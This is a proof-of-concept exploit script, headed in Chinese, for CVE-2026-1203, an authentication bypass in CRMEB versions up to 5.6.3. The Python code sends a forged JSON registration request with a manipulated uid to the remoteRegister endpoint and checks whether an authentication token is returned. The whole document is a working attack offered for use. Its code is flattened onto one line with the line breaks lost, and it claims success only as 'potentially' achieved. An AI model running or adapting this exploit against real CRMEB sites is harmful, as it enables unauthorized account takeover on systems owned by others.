CVE-2026-1203 CRMEB JSON Token认证绕过漏洞

import requests import json # CVE-2026-1203 PoC - CRMEB Authentication Bypass # Target: CRMEB <= 5.6.3 # Component: crmeb/app/services/user/LoginServices.php # Function: remoteRegister target_url = "http://target.com/api/user/remoteRegister" # Construct malicious payload with manipulated uid parameter payload = { "uid": "1", # Manipulated uid to bypass authentication "username": "attacker", "password": "password123", "phone": "13800138000" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Response: {json.dumps(data, indent=2)}") # Check if token is returned (authentication bypass successful) if "token" in data or "data" in data: print("[+] Authentication bypass potentially successful!") print(f"[+] Received token/data: {data}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")